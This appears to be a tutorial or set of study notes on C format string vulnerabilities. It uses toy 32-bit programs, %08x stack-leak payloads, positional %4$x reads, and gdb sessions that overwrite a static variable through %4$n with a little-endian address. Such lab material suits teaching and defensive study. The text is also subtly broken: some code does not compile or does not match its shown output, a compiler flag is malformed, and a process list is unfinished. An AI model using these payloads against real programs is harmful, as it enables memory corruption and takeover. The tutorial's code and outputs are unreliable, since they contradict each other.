FORMAT STRINGS
Improperly handled format strings can lead to memory corruption vulnerabilities, allowing attackers to read from or write to the stack and potentially redirect code execution.
CORRECT USAGE
#example
// gcc -g -m32 -O0 32_format_right.c -o 32_format_right.out
#include <stdio.h>
int main(int argc, char *argv[])
{
char *i = argv[1]; printf("You wrote: %s\n", 1);
}
* the format specifiers are also in scanf and may be vulnerable as well
root@dev:~$ ./32_format_right.out
You wrote: (null)
* nothing was entered by the user hence, output is null
root@dev:~$ ./32_format_right.out asdf
You wrote: asdf
INCORRECT USAGE
#example
// gcc -g -m32 -O0 33_format_wrong.c -o 33_format_wrong.out
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char test[1024];
strcpy[test, argv[1]); //this is a vulnerable function as it can be fed too much data
printf("You wrote: ");
printf(test);
printf("\n");
}
root@dev:~$ ./33_format_wrong.out
Segmentation fault: (core dumped)
* fault occured as nothing was supplied into the buffer
root@dev:~$ ./33_format_wrong.out asdf
You wrote: asdf
PLAYING WITH VULNERABILITY (TESTING)
# ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
* the %08x will print out 8 digits in hexadecimal and prepends that data with zeroes
- this is equivalent to printf("%08x")
- this leads to 4 bytes of data repeated 10 times
#expected output of non-vulnerable program
root@dev:~$ ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
You wrote: %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
# ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
#vulnerable program that produces strange data
root@dev:~$ ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
You wrote: ffffd3acf7ffd000565561d378383025783830257838302578383025783830257838302578383025
* it looks like there is a pattern to the output which means the data being displayed is being grabbed from somewhere in memory
- where is the data come from off the stack?
- can devs pull sensitive information?
- can devs write information on that location?
- can other specific data be read?
* when things such as this vulnerability is encountered, the following is:
- a.identify recognizable data using the format string vulnerability
- b.crafting a format string to extract data
#make the output easier to read
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 10)")
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025
* AAAAffffd3ac is the 1st entry in the stack the dev is able to read from
* f7ffd000 is the 2nd
* 565561d3 is the 3rd
* 41414141 is the 4th which will be the test data
#shrink the amount of data to look at only up to the test data (4th location)
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 4)")
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.
* from this you can infere how the memory is laid out
#skip directly to a specific memory location value
root@dev:~$ ./33_format_wrong.out 'AAAA.%4$x'
You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141
* the 4$ means skip to the 4th item
* the %x means display data in hex
PROCESS:
1.test whether the program has a format string vulnerability
2.
EXPLOITATION THROUGH FORMAT STRING (OVERWRITING VARIABLES)
Static variables are stored in the data section, not on the stack, preventing traditional buffer overflows. However, attackers can still exploit format string vulnerabilities to write to arbitrary memory, including the data section.
think how scanf() works, devs are writing to an address via the &variableName
printf("[...]%n", &var); where [...] is the number of characters needed to use to set up the string
VULNERABLE PROGRAM 1 (INCORRECT SANITIZATION OF USER INPUT)
// gcc -g -m32 -w -Wno-format -Wno-format-security -fno-stack-protector -z norero 34_format_vuln.c -o 34_format_vuln.out
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[80];
static int var = 42;
printf("The value is at: [0x%08x]\n", &var);
strcpy(buf, argv[1]);
printf(buf);
printf("\nvar is %d [0x%08x]\n", var, var);
return 0;
}
root@dev:~$ ./34_format_vuln.out
The value is at: [0x565582bc]
Segmentation fault (core dumped)
* fault is due to no entry given!
root@dev:~$ ./34_format_vuln.out asdf
The value is at: [0x565582bc]
asdf
var is 42 [0x0000002a]root@dev:~$ gdb ./34_format_vuln.out
gef> info func
All defined functions:
File 34_format_vuln.c:
6: int main(int, char **);
Non-debugging symbols:
...
strcpy@plt
gef> b *main
Breakpoint 1 at ...
gef> run $(printf "AAAA")%n
gef> d
...
gef> b *0x56556201
Breakpoint at 2 ...
gef> c
#dump 20 words of hex at esp
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 0xffffd3b5 0x00000001 0x565561c1
0xffffd0c0: 0x41414141 0x00006e25 0xf7ffd000 0x00000000
0xffffd0d0: 0x00000000 0x00000534 0x0000003f 0xf7fa8224
0xffffd0e0: 0x00000000 0xf7faa000 0xf7ffc7e0 0xf7fad4e8
0xffffd0f0: 0xf7faa000 0xf7fe22b0 0x00000000 0xf7df3352
* 0x41414141 should be the entered data which is the AAAA
* 0x00006e25 should be the %n
* the 0xffffd0c0 at the very top of the stack (which is the last thing that got
pushed onto the stack) is the address of the "buf" variable
- if you follow it on the next line, you'll see the 0x41414141 0x00006e25 ...
* the 0xffffd3b5 is the memory location where the %n is stored
- this can be tested to see if the 4 A's will really get printed out at this address
- see... x /xw 0xffffd3b5 output below
#confirm for understanding
gef> i r $eax
eax 0xffffd0c0 ...
#display the string at 0xffffd0c0
gef> x /s 0xffffd0c0
0xffffd0c0: "AAAA%n"
gef> x /xw 0xffffd3b5
0xffffd3b5: 0x41414141
gef> d
gef> b *0x56556221
Breakpoint 3 at ...
gef> c
gef> d
...
gef> x /xw 0xffffd3b5
0xffffd3b5: 0x00000004
* this shows that devs are able to overwrite one position away from esp
gef> run $(printf "AAAA")%2\$n
* two positions away from %n
gef> c
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 ...
* this will cause a seg fault as no valid instruction was produced
#identify where the variable you need to overwrite lives!
gef> run $(printf "AAAA")%4\$n
...
gef> c
The value is at: [0x565582bc] //this is the address that devs can overwrite
gef> run $(printf "\xbc\x82\x55\x56")%4\$n
* always write in little endian!
gef> c
gef> x /20xw $esp
0xffffd0b0: 0xffffd0c0 0xffffd3b3 0x00000001 0x565561c1
0xffffd0c0: 0x565582bc 0x00006e25 0xf7ffd000 0x00000000
0xffffd0d0: 0x00000000 0x00000534 0x0000003f 0xf7fa8224
0xffffd0e0: 0x00000000 0xf7faa000 0xf7ffc7e0 0xf7fad4e8
0xffffd0f0: 0xf7faa000 0xf7fe22b0 0x00000000 0xf7df3352
* as long as the address of 0x565582bc matches where var lives, devs should
be able to overwrite this
gef> c
gef> d
gef> c
??UV
var is 4 [0x00000004]
[Inferior 1 (process 37298) exited normally]
* this shows the variable has been overwritten from 42 to now "4"
#ALTERNATE METHOD
root@dev:~$ ./34_format_vuln.out $(printf "\xbc\x82\x55\x56")%4\$n
The value is at: [0x565582bc]
??UV
var is 4 [0x00000004]VULNERABLE PROGRAM 2
// gcc -g 35_n_test.c -o 35_n_test.out
#include <stdio.h>
int main()
{
int c;
printf("What does %n do? ", &c);
printf("%d\n", c);
return 0;
}
* the %n does not print anything. instead it tells printf to store the number of
characters written so far (before the %n was seen) into the corresponding
argument, which must be a pointer to an integer.
- the character count for "What does " is 10 characters including the spaces
- this number is what get displayed by %n
* Security Warning: %n can be exploited in format string vulnerabilities
(e.g., writing to arbitrary memory), so it's often disabled or discouraged in
secure coding environments.
root@dev:~$ ./35_n_test.out
What does %n do? 10
Last updated